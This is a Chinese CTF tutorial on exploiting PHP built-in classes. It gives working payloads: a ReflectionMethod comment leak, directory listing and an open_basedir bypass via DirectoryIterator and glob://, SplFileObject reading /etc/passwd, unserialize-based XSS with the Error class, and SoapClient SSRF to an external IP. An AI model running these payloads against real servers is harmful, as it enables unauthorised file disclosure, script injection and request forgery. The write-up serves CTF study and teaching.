• 首页 首页 icon
  • 工具库 工具库 icon
    • IP查询 IP查询 icon
  • 内容库 内容库 icon
    • 快讯库 快讯库 icon
    • 精品库 精品库 icon
    • 问答库 问答库 icon
  • 更多 更多 icon
    • 服务条款 服务条款 icon

PHP原生类

武飞扬头像
juejin
帮助93

前言

原生类,即php中的内置类,ctf考过利用原生类的考点,今天给大家总结一下

先贴一个脚本寻找php中存在什么原生类

 <?php
$classes = get_declared_classes();
foreach ($classes as $class) {
    $methods = get_class_methods($class);
    foreach ($methods as $method) {
        if (in_array($method, array(
            '__destruct',
            '__toString',
            '__wakeup',
            '__call',
            '__callStatic',
            '__get',
            '__set',
            '__isset',
            '__unset',
            '__invoke',
            '__set_state'
        ))) {
            print $class . '::' . $method . "\n";
        }
    }
} 

常遇到的几个 PHP 原生类有如下几个:

  • Error
  • Exception
  • SoapClient
  • DirectoryIterator
  • SimpleXMLElement

获取注释内容

取自2021国赛题目

ReflectionMethod

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

ReflectionFunctionAbstract::getDocComment — 获取注释内容

由该原生类中的getDocComment方法可以访问到注释的内容

源码:
<?php
highlight_file(__file__);
class User
{
    private static $c = 0;
    function a()
    {
        return   self::$c;
    }
    function b()
    {
        return   self::$c;
    }
    function c()
    {
    /**
         * flag{XINO}
         */
        return   self::$c;
    }
    function d()
    {
        return   self::$c;
    }
    function e()
    {
        return   self::$c;
    }
    function f()
    {
        return   self::$c;
    }
    function g()
    {
        return   self::$c;
    }
    function h()
    {
        return   self::$c;
    }
    function i()
    {
        return   self::$c;
    }
    function j()
    {
        return   self::$c;
    }
    function k()
    {
        return   self::$c;
    }
    function l()
    {
        return   self::$c;
    }
    function m()
    {
        return   self::$c;
    }
    function n()
    {
        return   self::$c;
    }
    function o()
    {
        return   self::$c;
    }
    function p()
    {
        return   self::$c;
    }
    function q()
    {
        return   self::$c;
    }
    function r()
    {
        return   self::$c;
    }
    function s()
    {
        return   self::$c;
    }
    function t()
    {
        return   self::$c;
    }
}
$rc=$_GET["rc"];
$rb=$_GET["rb"];
$ra=$_GET["ra"];
$rd=$_GET["rd"];
$method= new $rc($ra, $rb);
var_dump($method->$rd());

源码环境没有搞到,自己写了一个

rc是传入原生类名,rb和ra是传入类的属性,rd时传入类方法,后面就是实例化调用方法。

payload:

?rc=ReflectionMethod&ra=User&rb=c&rd=getDocComment

读取目录/文件(内容)

DirectoryIterator:

功能:遍历指定目录里的文件, 可以配合glob://协议使用匹配来寻找文件路径:

<?php
$dir=new DirectoryIterator("glob:///*flag*");
echo $dir;

或者遍历全部文件

<?php
$dir=new DirectoryIterator("/");
foreach($dir as $f){
    echo($f.'<br>');
    //echo($f->__toString().'<br>');
}

FilesystemIterator

使用方式与DirectoryIterator基本相同,这里就不细讲了

GlobIterator

GlobIterator 类也可以遍历一个文件目录,但与上面略不同的是其行为类似于 glob(),可以通过模式匹配来寻找文件路径。

它的特点就是,只需要知道部分名称就可以进行遍历

例如

<?php
$dir=new GlobIterator("/*flag*");
echo $dir;

绕过 open_basedir

open_basedir将php所能打开的文件限制在指定的目录树中,包括文件本身。当程序要使用例如fopen()或file_get_contents()打开一个文件时,这个文件的位置将会被检查。当文件在指定的目录树之外,程序将拒绝打开。

DirectoryIterator

DirectoryIterator与glob://协议在一起组合可以绕过open_basedir

测试

<?php
$dir = $_GET['XINO'];
$a = new DirectoryIterator($dir);
foreach($a as $f){
    echo($f.'<br>');
?>
# payload一句话的形式:
$a = new DirectoryIterator("glob:///*");foreach($a as $f){echo($f.'<br>');}

利用payload

/?XINO=glob:///*      #列出根目录下所有文件

FilesystemIterator

与上面基本一致,不再过多讨论

GlobIterator

根据该类特点, 不用在配合glob://协议

一句话payload

$a = new FilesystemIterator("/*");foreach($a as $f){echo($f.'<br>');}

SplFileObject 类

平常读取只能读取一行,要全部读取需要对内容进行遍历

?php
$context = new SplFileObject('/etc/passwd');
foreach($context as $f){
    echo($f);
}

Error/Exception 内置类进行 XSS

Error:用于PHP7、8,开启报错。

Exceotion:用于PHP5、7、8,开启报错。

Error是所有PHP内部错误类的基类,该类是在PHP 7.0.0 中开始引入的

PHP7中,可以在echo时触发__toString,来构造XSS。

测试

<?php
$a = unserialize($_GET['XINO']);
echo $a;
?>

反序列化却没有pop链,只能找到PHP内置类来进行反序列化

poc:

<?php
$a = new Error("<script>alert('xss')</script>");
$b = serialize($a);
echo urlencode($b);  
?>

传入输出会出现弹框,一个简单的利用

Exception 内置类

与上面类似,有兴趣的可以去复现一下

SoapClient 类进行 SSRF

专门用来访问web服务的类,可以提供一个基于SOAP协议访问Web服务的 PHP 客户端

该内置类有一个 __call 方法,当 __call 方法被触发后,它可以发送 HTTP 和 HTTPS 请求。正是这个 __call 方法,使得 SoapClient 类可以被我们运用在 SSRF 中。

构造函数

public SoapClient :: SoapClient(mixed $wsdl [,array $options ])
  • 第一个参数是用来指明是否是wsdl模式,将该值设为null则表示非wsdl模式。
  • 第二个参数为一个数组,如果在wsdl模式下,此参数可选;如果在非wsdl模式下,则必须设置location和uri选项,其中location是要将请求发送到的SOAP服务器的URL,而uri 是SOAP服务的目标命名空间。
<?php
$a = new SoapClient(null,array('location'=>'http://50.xxx.xxx.60:2333/XINO', 'uri'=>'http://50.xxx.xxx.60:2333'));
$b = serialize($a);
echo $b;
$c = unserialize($b);
$c->a();    触发__call方法进行ssrf
?>

这篇好文章是转载于:学新通技术网

  • 版权申明: 本站部分内容来自互联网,仅供学习及演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,请提供相关证据及您的身份证明,我们将在收到邮件后48小时内删除。
  • 本站站名: 学新通技术网
  • 本文地址: /boutique/detail/tanekah
系列文章
更多 icon
同类精品
更多 icon
继续加载